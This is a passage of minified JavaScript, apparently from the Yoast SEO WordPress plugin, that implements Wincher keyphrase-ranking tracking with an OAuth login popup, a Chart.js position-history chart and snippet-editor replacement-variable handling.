	& > div {
		margin: 0px;
	}
`,$t=R().th`
	padding-left: 2px !important;
`,Wt=e=>{const t=(0,v.useRef)();return(0,v.useEffect)((()=>{t.current=e})),t.current},jt=(0,c.debounce)((async function(e=null,t=null,s=null,r){return await ot({path:"yoast/v1/wincher/keyphrases",method:"POST",data:{keyphrases:e,permalink:s,startAt:t},signal:r})}),500,{leading:!0}),Ht=e=>{const{addTrackedKeyphrase:t,isLoggedIn:s,keyphrases:r,permalink:n,removeTrackedKeyphrase:o,setKeyphraseLimitReached:a,setRequestFailed:i,setRequestSucceeded:l,setTrackedKeyphrases:u,setHasTrackedAll:p,trackAll:h,trackedKeyphrases:m,isNewlyAuthenticated:g,websiteId:y,focusKeyphrase:f,newRequest:b,startAt:w,selectedKeyphrases:E,onSelectKeyphrases:R}=e,x=(0,v.useRef)(),_=(0,v.useRef)(),S=(0,v.useRef)(!1),[T,L]=(0,v.useState)([]),C=(0,v.useCallback)((e=>{const t=e.toLowerCase();return m&&!(0,c.isEmpty)(m)&&m.hasOwnProperty(t)?m[t]:null}),[m]),q=(0,v.useMemo)((()=>async()=>{await nt((()=>(_.current&&_.current.abort(),_.current="undefined"==typeof AbortController?null:new AbortController,jt(r,w,n,_.current.signal))),(e=>{l(e),u(e.results)}),(e=>{i(e)}))}),[l,i,u,r,n,w]),P=(0,v.useCallback)((async e=>{const s=(Array.isArray(e)?e:[e]).map((e=>e.toLowerCase()));L((e=>[...e,...s])),await nt((()=>at(s)),(e=>{l(e),t(e.results),q()}),(e=>{400===e.status&&e.limit&&a(e.limit),i(e)}),201),L((e=>(0,c.without)(e,...s)))}),[l,i,a,t,q]),A=(0,v.useCallback)((async(e,t)=>{e=e.toLowerCase(),L((t=>[...t,e])),await nt((()=>async function(e){return await ot({path:"yoast/v1/wincher/keyphrases/untrack",method:"DELETE",data:{keyphraseID:e}})}(t)),(t=>{l(t),o(e)}),(e=>{i(e)})),L((t=>(0,c.without)(t,e)))}),[l,o,i]),O=(0,v.useCallback)((async e=>{b(),await P(e)}),[b,P]),F=Wt(n),N=Wt(r),B=Wt(w),M=n&&w;(0,v.useEffect)((()=>{s&&M&&(n!==F||(0,c.difference)(r,N).length||w!==B)&&q()}),[s,n,F,r,N,q,M,w,B]),(0,v.useEffect)((()=>{if(s&&h&&null!==m){const e=r.filter((e=>!C(e)));e.length&&P(e),p()}}),[s,h,m,P,p,C,r]),(0,v.useEffect)((()=>{g&&!S.current&&(q(),S.current=!0)}),[g,q]),(0,v.useEffect)((()=>{if(s&&!(0,c.isEmpty)(m))return(0,c.filter)(m,(e=>(0,c.isEmpty)(e.updated_at))).length>0&&(x.current=setInterval((()=>{q()}),1e4)),()=>{clearInterval(x.current)}}),[s,m,q]);const K=s&&null===m,D=(0,v.useMemo)((()=>(0,c.isEmpty)(m)?[]:Object.values(m).filter((e=>{var t;return!(0,c.isEmpty)(null==e||null===(t=e.position)||void 0===t?void 0:t.history)})).map((e=>e.keyword))),[m]),$=(0,v.useMemo)((()=>E.length>0&&D.length>0&&D.every((e=>E.includes(e)))),[E,D]),W=(0,v.useCallback)((()=>{R($?[]:D)}),[R,$,D]),j=(0,v.useMemo)((()=>(0,c.orderBy)(r,[e=>Object.values(m||{}).map((e=>e.keyword)).includes(e)],["desc"])),[r,m]);return r&&!(0,c.isEmpty)(r)&&(0,k.createElement)(v.Fragment,null,(0,k.createElement)(Kt,null,(0,k.createElement)("table",{className:"yoast yoast-table"},(0,k.createElement)("thead",null,(0,k.createElement)("tr",null,(0,k.createElement)(Dt,{isDisabled:0===D.length},(0,k.createElement)(I.Checkbox,{id:"select-all",onChange:W,checked:$,label:""})),(0,k.createElement)($t,{scope:"col",abbr:(0,d.__)("Keyphrase","wordpress-seo")},(0,d.__)("Keyphrase","wordpress-seo")),(0,k.createElement)("th",{scope:"col",abbr:(0,d.__)("Position","wordpress-seo")},(0,d.__)("Position","wordpress-seo")),(0,k.createElement)("th",{scope:"col",abbr:(0,d.__)("Position over time","wordpress-seo")},(0,d.__)("Position over time","wordpress-seo")),(0,k.createElement)("th",{scope:"col",abbr:(0,d.__)("Last updated","wordpress-seo")},(0,d.__)("Last updated","wordpress-seo")),(0,k.createElement)("th",{scope:"col",abbr:(0,d.__)("Tracking","wordpress-seo")},(0,d.__)("Tracking","wordpress-seo")))),(0,k.createElement)("tbody",null,j.map(((e,t)=>(0,k.createElement)(Nt,{key:`trackable-keyphrase-${t}`,keyphrase:e,onTrackKeyphrase:O,onUntrackKeyphrase:A,rowData:C(e),isFocusKeyphrase:e===f.trim().toLowerCase(),websiteId:y,isDisabled:!s,isLoading:K||T.indexOf(e.toLowerCase())>=0,isSelected:E.includes(e),onSelectKeyphrases:R})))))),(0,k.createElement)("p",{style:{marginBottom:0,position:"relative"}},(0,k.createElement)(Bt,{href:wpseoAdminGlobalL10n["links.wincher.login"]},(0,d.sprintf)(/* translators: %s expands to Wincher */
(0,d.__)("Get more insights over at %s","wordpress-seo"),"Wincher")),(0,k.createElement)(Mt,null,(0,d.__)("* focus keyphrase","wordpress-seo"))))};Ht.propTypes={addTrackedKeyphrase:_().func.isRequired,isLoggedIn:_().bool,isNewlyAuthenticated:_().bool,keyphrases:_().array,newRequest:_().func.isRequired,removeTrackedKeyphrase:_().func.isRequired,setRequestFailed:_().func.isRequired,setKeyphraseLimitReached:_().func.isRequired,setRequestSucceeded:_().func.isRequired,setTrackedKeyphrases:_().func.isRequired,setHasTrackedAll:_().func.isRequired,trackAll:_().bool,trackedKeyphrases:_().object,websiteId:_().string,permalink:_().string.isRequired,focusKeyphrase:_().string,startAt:_().string,selectedKeyphrases:_().arrayOf(_().string).isRequired,onSelectKeyphrases:_().func.isRequired},Ht.defaultProps={isLoggedIn:!1,isNewlyAuthenticated:!1,keyphrases:[],trackAll:!1,websiteId:"",focusKeyphrase:""};const Yt=Ht,zt=(0,he.compose)([(0,me.withSelect)((e=>{const{getWincherWebsiteId:t,getWincherTrackableKeyphrases:s,getWincherLoginStatus:r,getWincherPermalink:n,getFocusKeyphrase:o,isWincherNewlyAuthenticated:a,shouldWincherTrackAll:i}=e("yoast-seo/editor");return{focusKeyphrase:o(),keyphrases:s(),isLoggedIn:r(),trackAll:i(),websiteId:t(),isNewlyAuthenticated:a(),permalink:n()}})),(0,me.withDispatch)((e=>{const{setWincherNewRequest:t,setWincherRequestSucceeded:s,setWincherRequestFailed:r,setWincherSetKeyphraseLimitReached:n,setWincherTrackedKeyphrases:o,setWincherTrackingForKeyphrase:a,setWincherTrackAllKeyphrases:i,unsetWincherTrackingForKeyphrase:l}=e("yoast-seo/editor");return{newRequest:()=>{t()},setRequestSucceeded:e=>{s(e)},setRequestFailed:e=>{r(e)},setKeyphraseLimitReached:e=>{n(e)},addTrackedKeyphrase:e=>{a(e)},removeTrackedKeyphrase:e=>{l(e)},setTrackedKeyphrases:e=>{o(e)},setHasTrackedAll:()=>{i(!1)}}}))])(Yt),Ut=(0,S.makeOutboundLink)(),Vt=(0,S.makeOutboundLink)(),Gt=()=>{const e=(0,d.sprintf)((0,d.__)(/* translators: %1$s expands to a link to Wincher, %2$s expands to a link to the keyphrase tracking article on Yoast.com */
"With %1$s you can track the ranking position of your page in the search results based on your keyphrase(s). %2$s","wordpress-seo"),"{{wincherLink/}}","{{wincherReadMoreLink/}}");return(0,k.createElement)("p",null,(0,Je.Z)({mixedString:e,components:{wincherLink:(0,k.createElement)(Ut,{href:wpseoAdminGlobalL10n["links.wincher.website"]},"Wincher"),wincherReadMoreLink:(0,k.createElement)(Vt,{href:wpseoAdminL10n["shortlinks.wincher.seo_performance"]},(0,d.__)("Read more about keyphrase tracking with Wincher","wordpress-seo"))}}))},Qt=()=>(0,k.createElement)(I.Alert,{type:"error"},(0,d.__)("No keyphrase has been set. Please set a keyphrase first.","wordpress-seo")),Xt=()=>(0,k.createElement)(I.Alert,{type:"info"},(0,d.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,d.__)("Automatic tracking of keyphrases is enabled. Your keyphrase(s) will automatically be tracked by %s when you publish your post.","wordpress-seo"),"Wincher"));class Zt{constructor(e,t={},s={}){this.url=e,this.origin=new URL(e).origin,this.eventHandlers=Object.assign({success:{type:"",callback:()=>{}},error:{type:"",callback:()=>{}}},t),this.options=Object.assign({height:570,width:340,title:""},s),this.popup=null,this.createPopup=this.createPopup.bind(this),this.messageHandler=this.messageHandler.bind(this),this.getPopup=this.getPopup.bind(this)}createPopup(){const{height:e,width:t,title:s}=this.options,r=["top="+(window.top.outerHeight/2+window.top.screenY-e/2),"left="+(window.top.outerWidth/2+window.top.screenX-t/2),"width="+t,"height="+e,"resizable=1","scrollbars=1","status=0"];this.popup&&!this.popup.closed||(this.popup=window.open(this.url,s,r.join(","))),this.popup&&this.popup.focus(),window.addEventListener("message",this.messageHandler,!1)}async messageHandler(e){const{data:t,source:s,origin:r}=e;r===this.origin&&this.popup===s&&(t.type===this.eventHandlers.success.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.success.callback(t)),t.type===this.eventHandlers.error.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.error.callback(t)))}getPopup(){return this.popup}isClosed(){return!this.popup||this.popup.closed}focus(){this.isClosed()||this.popup.focus()}}const Jt=e=>{const t=(0,d.sprintf)(/* translators: %s expands to a link to open the Wincher login popup. */
(0,d.__)("It seems like something went wrong when retrieving your website's data. Please %s and try again.","wordpress-seo"),"{{reconnectToWincher/}}","Wincher");return(0,k.createElement)(I.Alert,{type:"error",className:e.className},(0,Je.Z)({mixedString:t,components:{reconnectToWincher:(0,k.createElement)("a",{href:"#",onClick:t=>{t.preventDefault(),e.onReconnect()}},(0,d.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,d.__)("reconnect to %s","wordpress-seo"),"Wincher"))}}))};Jt.propTypes={onReconnect:_().func.isRequired,className:_().string},Jt.defaultProps={className:""};const es=Jt,ts=()=>(0,k.createElement)(I.Alert,{type:"error"},(0,d.__)("Before you can track your SEO performance make sure to set either the post’s title and save it as a draft or manually set the post’s slug.","wordpress-seo")),ss=window.yoast["chart.js"],rs="label";function ns(e,t){"function"==typeof e?e(t):e&&(e.current=t)}function os(e,t){e.labels=t}function as(e,t){let s=arguments.length>2&&void 0!==arguments[2]?arguments[2]:rs;const r=[];e.datasets=t.map((t=>{const n=e.datasets.find((e=>e[s]===t[s]));return n&&t.data&&!r.includes(n)?(r.push(n),Object.assign(n,t),n):{...t}}))}function is(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:rs;const s={labels:[],datasets:[]};return os(s,e.labels),as(s,e.datasets,t),s}function ls(e,t){const{height:s=150,width:r=300,redraw:n=!1,datasetIdKey:o,type:a,data:i,options:l,plugins:c=[],fallbackContent:u,updateMode:d,...p}=e,h=(0,k.useRef)(null),m=(0,k.useRef)(),g=()=>{h.current&&(m.current=new ss.Chart(h.current,{type:a,data:is(i,o),options:l&&{...l},plugins:c}),ns(t,m.current))},y=()=>{ns(t,null),m.current&&(m.current.destroy(),m.current=null)};return(0,k.useEffect)((()=>{!n&&m.current&&l&&function(e,t){const s=e.options;s&&t&&Object.assign(s,t)}(m.current,l)}),[n,l]),(0,k.useEffect)((()=>{!n&&m.current&&os(m.current.config.data,i.labels)}),[n,i.labels]),(0,k.useEffect)((()=>{!n&&m.current&&i.datasets&&as(m.current.config.data,i.datasets,o)}),[n,i.datasets]),(0,k.useEffect)((()=>{m.current&&(n?(y(),setTimeout(g)):m.current.update(d))}),[n,l,i.labels,i.datasets,d]),(0,k.useEffect)((()=>{m.current&&(y(),setTimeout(g))}),[a]),(0,k.useEffect)((()=>(g(),()=>y())),[]),k.createElement("canvas",Object.assign({ref:h,role:"img",height:s,width:r},p),u)}const cs=(0,k.forwardRef)(ls);function us(e,t){return ss.Chart.register(t),(0,k.forwardRef)(((t,s)=>k.createElement(cs,Object.assign({},t,{ref:s,type:e}))))}const ds=us("line",ss.LineController),ps={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};ss._adapters._date.override("function"==typeof Ze()?{_id:"moment",formats:function(){return ps},parse:function(e,t){return"string"==typeof e&&"string"==typeof t?e=Ze()(e,t):e instanceof Ze()||(e=Ze()(e)),e.isValid()?e.valueOf():null},format:function(e,t){return Ze()(e).format(t)},add:function(e,t,s){return Ze()(e).add(t,s).valueOf()},diff:function(e,t,s){return Ze()(e).diff(Ze()(t),s)},startOf:function(e,t,s){return e=Ze()(e),"isoWeek"===t?(s=Math.trunc(Math.min(Math.max(0,s),6)),e.isoWeekday(s).startOf("day").valueOf()):e.startOf(t).valueOf()},endOf:function(e,t){return Ze()(e).endOf(t).valueOf()}}:{}),Math.PI,Number.POSITIVE_INFINITY,Math.log10,Math.sign,"undefined"==typeof window||window.requestAnimationFrame,new Map,Object.create(null),Object.create(null),Number.EPSILON;const hs=["top","right","bottom","left"];function ms(e,t,s){const r={};s=s?"-"+s:"";for(let n=0;n<4;n++){const o=hs[n];r[o]=parseFloat(e[t+"-"+o+s])||0}return r.width=r.left+r.right,r.height=r.top+r.bottom,r}!function(){let e=!1;try{const t={get passive(){return e=!0,!1}};window.addEventListener("test",null,t),window.removeEventListener("test",null,t)}catch(e){}}(),ss.Chart.register(ss.CategoryScale,ss.LineController,ss.LineElement,ss.PointElement,ss.LinearScale,ss.TimeScale,ss.Legend,ss.Tooltip);const gs=["#ff983b","#ffa3f7","#3798ff","#ff3b3b","#acce81","#b51751","#3949ab","#26c6da","#ccb800","#de66ff","#4db6ac","#ffab91","#45f5f1","#77f210","#90a4ae","#ffd54f","#006b5e","#8ec7d2","#b1887c","#cc9300"];function ys({datasets:e,isChartShown:t,keyphrases:s}){if(!t)return null;const r=(0,v.useMemo)((()=>Object.fromEntries([...s].sort().map(((e,t)=>[e,gs[t%gs.length]])))),[s]),n=e.map((e=>{const t=r[e.label];return{...e,data:e.data.map((({datetime:e,value:t})=>({x:e,y:t}))),lineTension:0,pointRadius:1,pointHoverRadius:4,borderWidth:2,pointHitRadius:6,backgroundColor:t,borderColor:t}})).filter((e=>!1!==e.selected));return(0,k.createElement)(ds,{height:100,data:{datasets:n},options:{plugins:{legend:{display:!0,position:"bottom",labels:{color:"black",usePointStyle:!0,boxHeight:7,boxWidth:7},onClick:c.noop},tooltip:{enabled:!0,callbacks:{title:e=>Ze()(e[0].raw.x).utc().format("YYYY-MM-DD")},titleAlign:"center",mode:"xPoint",position:"nearest",usePointStyle:!0,boxHeight:7,boxWidth:7,boxPadding:2}},scales:{x:{bounds:"ticks",type:"time",time:{unit:"day",minUnit:"day"},grid:{display:!1},ticks:{autoSkipPadding:50,maxRotation:0,color:"black"}},y:{bounds:"ticks",offset:!0,reverse:!0,ticks:{precision:0,color:"black"},max:101}}}})}ss.Interaction.modes.xPoint=(e,t,s,r)=>{const n=function(e,t){if("native"in e)return e;const{canvas:s,currentDevicePixelRatio:r}=t,n=(h=s).ownerDocument.defaultView.getComputedStyle(h,null),o="border-box"===n.boxSizing,a=ms(n,"padding"),i=ms(n,"border","width"),{x:l,y:c,box:u}=function(e,t){const s=e.touches,r=s&&s.length?s[0]:e,{offsetX:n,offsetY:o}=r;let a,i,l=!1;if(((e,t,s)=>(e>0||t>0)&&(!s||!s.shadowRoot))(n,o,e.target))a=n,i=o;else{const e=t.getBoundingClientRect();a=r.clientX-e.left,i=r.clientY-e.top,l=!0}return{x:a,y:i,box:l}}(e,s),d=a.left+(u&&i.left),p=a.top+(u&&i.top);var h;let{width:m,height:g}=t;return o&&(m-=a.width+i.width,g-=a.height+i.height),{x:Math.round((l-d)/m*s.width/r),y:Math.round((c-p)/g*s.height/r)}}(t,e);let o=[];if(ss.Interaction.evaluateInteractionItems(e,"x",n,((e,t,s)=>{e.inXRange(n.x,r)&&o.push({element:e,datasetIndex:t,index:s})})),0===o.length)return o;const a=o.reduce(((e,t)=>Math.abs(n.x-e.element.x)<Math.abs(n.x-t.element.x)?e:t)).element.x;return o=o.filter((e=>e.element.x===a)),o.some((e=>Math.abs(e.element.y-n.y)<10))?o:[]},ys.propTypes={datasets:_().arrayOf(_().shape({label:_().string.isRequired,data:_().arrayOf(_().shape({datetime:_().string.isRequired,value:_().number.isRequired})).isRequired,selected:_().bool})).isRequired,isChartShown:_().bool.isRequired,keyphrases:_().array.isRequired};const fs=({response:e,onLogin:t})=>[401,403,404].includes(e.status)?(0,k.createElement)(es,{onReconnect:t}):(0,k.createElement)(rt,null);fs.propTypes={response:_().object.isRequired,onLogin:_().func.isRequired};const bs=({isSuccess:e,response:t,allKeyphrasesMissRanking:s,onLogin:r,keyphraseLimitReached:n,limit:o})=>n?(0,k.createElement)(st,{limit:o}):(0,c.isEmpty)(t)||e?s?(0,k.createElement)(wt,null):null:(0,k.createElement)(fs,{response:t,onLogin:r});bs.propTypes={isSuccess:_().bool.isRequired,allKeyphrasesMissRanking:_().bool.isRequired,response:_().object,onLogin:_().func.isRequired,keyphraseLimitReached:_().bool.isRequired,limit:_().number.isRequired},bs.defaultProps={response:{}};let ws=null;const ks=async e=>{if(ws&&!ws.isClosed())return void ws.focus();const{url:t}=await async function(){return await ot({path:"yoast/v1/wincher/authorization-url",method:"GET"})}();ws=new Zt(t,{success:{type:"wincher:oauth:success",callback:t=>(async(e,t)=>{const{onAuthentication:s,setRequestSucceeded:r,setRequestFailed:n,keyphrases:o,addTrackedKeyphrase:a,setKeyphraseLimitReached:i}=e;await nt((()=>async function(e){const{code:t,websiteId:s}=e;return await ot({path:"yoast/v1/wincher/authenticate",method:"POST",data:{code:t,websiteId:s}})}(t)),(async e=>{s(!0,!0,t.websiteId.toString()),r(e);const l=(Array.isArray(o)?o:[o]).map((e=>e.toLowerCase()));await nt((()=>at(l)),(e=>{r(e),a(e.results)}),(e=>{400===e.status&&e.limit&&i(e.limit),n(e)}),201);const c=ws.getPopup();c&&c.close()}),(async e=>n(e)))})(e,t)},error:{type:"wincher:oauth:error",callback:()=>e.onAuthentication(!1,!1)}},{title:"Wincher_login",width:500,height:700}),ws.createPopup()},vs=e=>e.isLoggedIn?null:(0,k.createElement)("p",null,(0,k.createElement)(I.NewButton,{onClick:e.onLogin,variant:"primary"},(0,d.sprintf)(/* translators: %s expands to Wincher */
(0,d.__)("Connect with %s","wordpress-seo"),"Wincher")));vs.propTypes={isLoggedIn:_().bool.isRequired,onLogin:_().func.isRequired};const Es=R().div`
	p {
		margin: 1em 0;
	}
`,Rs=R().div`
	${e=>e.isDisabled&&"\n\t\topacity: .5;\n\t\tpointer-events: none;\n\t"};
`,xs=R().div`
	font-weight: var(--yoast-font-weight-bold);
	color: var(--yoast-color-label);
	font-size: var(--yoast-font-size-default);
`,_s=R().div.attrs({className:"yoast-field-group"})`
	display: flex;
	justify-content: space-between;
	align-items: center;
	margin-bottom: 14px;
`,Is=R().div`
	margin: 8px 0;
`,Ss=Ze().utc().startOf("day"),Ts=[{name:(0,d.__)("Last day","wordpress-seo"),value:Ze()(Ss).subtract(1,"days").format(),defaultIndex:1},{name:(0,d.__)("Last week","wordpress-seo"),value:Ze()(Ss).subtract(1,"week").format(),defaultIndex:2},{name:(0,d.__)("Last month","wordpress-seo"),value:Ze()(Ss).subtract(1,"month").format(),defaultIndex:3},{name:(0,d.__)("Last year","wordpress-seo"),value:Ze()(Ss).subtract(1,"year").format(),defaultIndex:0}],Ls=e=>{const{onSelect:t,selected:s,options:r,isLoggedIn:n}=e;return n?r.length<1?null:(0,k.createElement)("select",{className:"components-select-control__input",id:"wincher-period-picker",value:(null==s?void 0:s.value)||r[0].value,onChange:t},r.map((e=>(0,k.createElement)("option",{key:e.name,value:e.value},e.name)))):null};Ls.propTypes={onSelect:_().func.isRequired,selected:_().object,options:_().array.isRequired,isLoggedIn:_().bool.isRequired};const Cs=e=>{const{trackedKeyphrases:t,isLoggedIn:s,keyphrases:r,shouldTrackAll:n,permalink:o,historyDaysLimit:a}=e;if(!o&&s)return(0,k.createElement)(ts,null);if(0===r.length)return(0,k.createElement)(Qt,null);const i=Ze()(Ss).subtract(a,"days"),l=Ts.filter((e=>Ze()(e.value).isSameOrAfter(i))),u=(0,c.orderBy)(l,(e=>e.defaultIndex),"desc")[0],[p,h]=(0,v.useState)(u),[m,g]=(0,v.useState)([]),y=m.length>0,f=(0,he.usePrevious)(t);(0,v.useEffect)((()=>{if(!(0,c.isEmpty)(t)&&(0,c.difference)(Object.keys(t),Object.keys(f||[])).length){const e=Object.values(t).map((e=>e.keyword));g(e)}}),[t,f]),(0,v.useEffect)((()=>{h(u)}),[null==u?void 0:u.name]);const b=(0,v.useCallback)((e=>{const t=Ts.find((t=>t.value===e.target.value));t&&h(t)}),[h]),w=(0,v.useMemo)((()=>(0,c.isEmpty)(m)||(0,c.isEmpty)(t)?[]:Object.values(t).filter((e=>{var t;return!(null==e||null===(t=e.position)||void 0===t||!t.history)})).map((e=>{var t;return{label:e.keyword,data:e.position.history,selected:m.includes(e.keyword)&&!(0,c.isEmpty)(null===(t=e.position)||void 0===t?void 0:t.history)}}))),[m,t]);return(0,k.createElement)(Rs,{isDisabled:!s},(0,k.createElement)("p",null,(0,d.__)("You can enable / disable tracking the SEO performance for each keyphrase below.","wordpress-seo")),s&&n&&(0,k.createElement)(Xt,null),(0,k.createElement)(_s,null,(0,k.createElement)(Ls,{selected:p,onSelect:b,options:l,isLoggedIn:s})),(0,k.createElement)(Is,null,(0,k.createElement)(ys,{isChartShown:y,datasets:w,keyphrases:r})),(0,k.createElement)(zt,{startAt:null==p?void 0:p.value,selectedKeyphrases:m,onSelectKeyphrases:g,trackedKeyphrases:t}))};function qs(e){const{isNewlyAuthenticated:t,isLoggedIn:s}=e,r=(0,v.useCallback)((()=>{ks(e)}),[ks,e]),n=pt(s);return(0,k.createElement)(Es,null,t&&(0,k.createElement)(bt,null),s&&(0,k.createElement)(ft,{trackingInfo:n}),(0,k.createElement)(xs,null,(0,d.__)("SEO performance","wordpress-seo"),(0,k.createElement)(I.HelpIcon,{linkTo:wpseoAdminL10n["shortlinks.wincher.seo_performance"]
/* translators: Hidden accessibility text. */,linkText:(0,d.__)("Learn more about the SEO performance feature.","wordpress-seo")})),(0,k.createElement)(Gt,null),(0,k.createElement)(vs,{isLoggedIn:s,onLogin:r}),(0,k.createElement)(bs,{...e,onLogin:r}),(0,k.createElement)(Cs,{...e,historyDaysLimit:(null==n?void 0:n.historyDays)||31}))}Cs.propTypes={trackedKeyphrases:_().object,keyphrases:_().array.isRequired,isLoggedIn:_().bool.isRequired,shouldTrackAll:_().bool.isRequired,permalink:_().string.isRequired,historyDaysLimit:_().number},qs.propTypes={trackedKeyphrases:_().object,addTrackedKeyphrase:_().func.isRequired,isLoggedIn:_().bool,isNewlyAuthenticated:_().bool,keyphrases:_().array,response:_().object,shouldTrackAll:_().bool,permalink:_().string,historyDaysLimit:_().number},qs.defaultProps={trackedKeyphrases:null,isLoggedIn:!1,isNewlyAuthenticated:!1,keyphrases:[],response:{},shouldTrackAll:!1,permalink:"",historyDaysLimit:0};const Ps=(0,he.compose)([(0,me.withSelect)((e=>{const{isWincherNewlyAuthenticated:t,getWincherKeyphraseLimitReached:s,getWincherLimit:r,getWincherHistoryDaysLimit:n,getWincherLoginStatus:o,getWincherRequestIsSuccess:a,getWincherRequestResponse:i,getWincherTrackableKeyphrases:l,getWincherTrackedKeyphrases:c,getWincherAllKeyphrasesMissRanking:u,getWincherPermalink:d,shouldWincherAutomaticallyTrackAll:p}=e("yoast-seo/editor");return{keyphrases:l(),trackedKeyphrases:c(),allKeyphrasesMissRanking:u(),isLoggedIn:o(),isNewlyAuthenticated:t(),isSuccess:a(),keyphraseLimitReached:s(),limit:r(),response:i(),shouldTrackAll:p(),permalink:d(),historyDaysLimit:n()}})),(0,me.withDispatch)((e=>{const{setWincherWebsiteId:t,setWincherRequestSucceeded:s,setWincherRequestFailed:r,setWincherTrackingForKeyphrase:n,setWincherSetKeyphraseLimitReached:o,setWincherLoginStatus:a}=e("yoast-seo/editor");return{setRequestSucceeded:e=>{s(e)},setRequestFailed:e=>{r(e)},addTrackedKeyphrase:e=>{n(e)},setKeyphraseLimitReached:e=>{o(e)},onAuthentication:(e,s,r)=>{t(r),a(e,s)}}}))])(qs);function As(e,t,s,r){return new Promise(((n,o)=>{jQuery.ajax({type:e,url:t,beforeSend:s?e=>{e.setRequestHeader("X-WP-Nonce",s)}:null,data:r,dataType:"json",success:n,error:o})}))}let Os,Fs,Ns,Bs;const Ms=/<(\/)?(\w+)\s*(\/)?>/g;function Ks(e,t,s,r,n){return{element:e,tokenStart:t,tokenLength:s,prevOffset:r,leadingTextStart:n,children:[]}}function Ds(){const e=Os.length-Fs;0!==e&&Ns.push(Os.substring(Fs,Fs+e))}function $s(e){const{element:t,tokenStart:s,tokenLength:r,prevOffset:n,children:o}=e,a=Bs[Bs.length-1],i=Os.substring(a.prevOffset,s);i&&a.children.push(i),a.children.push((0,v.cloneElement)(t,null,...o)),a.prevOffset=n||s+r}function Ws(e){const t=function(){const e=Ms.exec(Os);if(null===e)return["no-more-tokens"];const t=e.index,[s,r,n,o]=e,a=s.length;return o?["self-closed",n,t,a]:r?["closer",n,t,a]:["opener",n,t,a]}(),[s,r,n,o]=t,a=Bs.length,i=n>Fs?Fs:null;if(!e[r])return Ds(),!1;switch(s){case"no-more-tokens":if(0!==a){const{leadingTextStart:e,tokenStart:t}=Bs.pop();Ns.push(Os.substring(e,e+t))}return Ds(),!1;case"self-closed":return 0===a?(null!==i&&Ns.push(Os.substring(i,n)),Ns.push(e[r]),Fs=n+o,!0):($s(Ks(e[r],n,o)),Fs=n+o,!0);case"opener":return Bs.push(Ks(e[r],n,o,n+o,i)),Fs=n+o,!0;case"closer":if(1===a)return function(e){const{element:t,leadingTextStart:s,prevOffset:r,tokenStart:n,children:o}=Bs.pop(),a=e?Os.substring(r,e):Os.substring(r);a&&o.push(a),null!==s&&Ns.push(Os.substring(s,n)),Ns.push((0,v.cloneElement)(t,null,...o))}(n),Fs=n+o,!0;const t=Bs.pop(),s=Os.substring(t.prevOffset,n);t.children.push(s),t.prevOffset=n+o;const l=Ks(t.element,t.tokenStart,t.tokenLength,n+o);return l.children=t.children,$s(l),Fs=n+o,!0;default:return Ds(),!1}}function js(e,t="wpseoYoastJSL10n"){const s=(0,c.get)(window,[t,e,"locale_data",e],!1);"yoast-components"===e&&(e="wordpress-seo"),!1===s?(0,d.setLocaleData)({"":{}},e):(0,d.setLocaleData)(s,e)}const Hs=window.wp.sanitize,Ys="SNIPPET_EDITOR_UPDATE_REPLACEMENT_VARIABLE",zs="SNIPPET_EDITOR_UPDATE_REPLACEMENT_VARIABLES_BATCH";function Us(e,t,s="",r=!1){const n="string"==typeof t?(0,S.decodeHTML)(t):t;return{type:Ys,name:e,value:n,label:s,hidden:r}}function Vs(e){return e.charAt(0).toUpperCase()+e.slice(1)}const{stripHTMLTags:Gs}=S.strings,Qs=["slug","content","contentImage","snippetPreviewImageURL"];function Xs(e,t){(0,c.forEach)(e,((e,s)=>{Qs.includes(s)||t.dispatch(Us(s,e))}))}function Zs(e){if(!["ct_","cf_","pt_"].includes(e.substring(0,3)))return e.replace(/_/g," ");const t=e.slice(0,3);switch(-1!==(e=e.slice(3)).indexOf("desc_")&&(e=e.slice(5)+" description"),t){case"ct_":e+=" (custom taxonomy)";break;case"cf_":e+=" (custom field)";break;case"pt_":e="Post type ("+(e=e.replace("single","singular"))+")"}return e}function Js(e){return Vs(e=Zs(e))}function er(e,t){return e.push({name:t.name,label:t.label||Js(t.name),value:t.value}),e}function tr(e,t="_"){return e.replace(/\s/g,t)}function sr(e){return{name:"cf_"+tr(e),label:Vs(e+" (custom field)")}}function rr(e){const t=tr(e);return{name:"ct_"+t,label:Vs(e+" (custom taxonomy)"),descriptionName:"ct_desc_"+t,descriptionLabel:Vs(e+" description (custom taxonomy)")}}function nr(e,t){if(!e.custom_taxonomies)return e;const s={};return(0,c.forEach)(e.custom_taxonomies,((e,t)=>{const{name:r,label:n,descriptionName:o,descriptionLabel:a}=rr(t),i="string"==typeof e.name?(0,S.decodeHTML)(e.name):e.name,l="string"==typeof e.description?(0,S.decodeHTML)(e.description):e.description;s[r]={value:i,label:n},s[o]={value:l,label:a}})),t.dispatch(function(e){return{type:zs,updatedVariables:e}}(s)),(0,c.omit)({...e},"custom_taxonomies")}function or(e,t){return e.custom_fields?((0,c.forEach)(e.custom_fields,((e,s)=>{const{name:r,label:n}=sr(s);t.dispatch(Us(r,e,n))})),(0,c.omit)({...e},"custom_fields")):e}function ar(e,t=156){return(e=(e=(0,Hs.stripTags)(e)).trim()).length<=t||(e=e.substring(0,t),/\s/.test(e)&&(e=e.substring(0,e.lastIndexOf(" ")))),e}const ir=function(e){const t=(0,c.get)(window,["YoastSEO","app","pluggable"],!1);if(!t||!(0,c.get)(window,["YoastSEO","app","pluggable","loaded"],!1))return function(e){const t=(0,c.get)(window,["YoastSEO","wp","replaceVarsPlugin","replaceVariables"],c.identity);return{url:e.url,title:Gs(t(e.title)),description:Gs(t(e.description)),filteredSEOTitle:e.filteredSEOTitle?Gs(t(e.filteredSEOTitle)):""}}(e);const s=t._applyModifications.bind(t);return{url:e.url,title:Gs(s("data_page_title",e.title)),description:Gs(s("data_meta_desc",e.description)),filteredSEOTitle:e.filteredSEOTitle?Gs(s("data_page_title",e.filteredSEOTitle)):""}};var lr="score-text",cr="image yoast-logo svg",ur=jQuery;function dr(e,t,s=null){var r,n,o,a,i;if(null!==s)return(0,c.get)(s,t,"");const 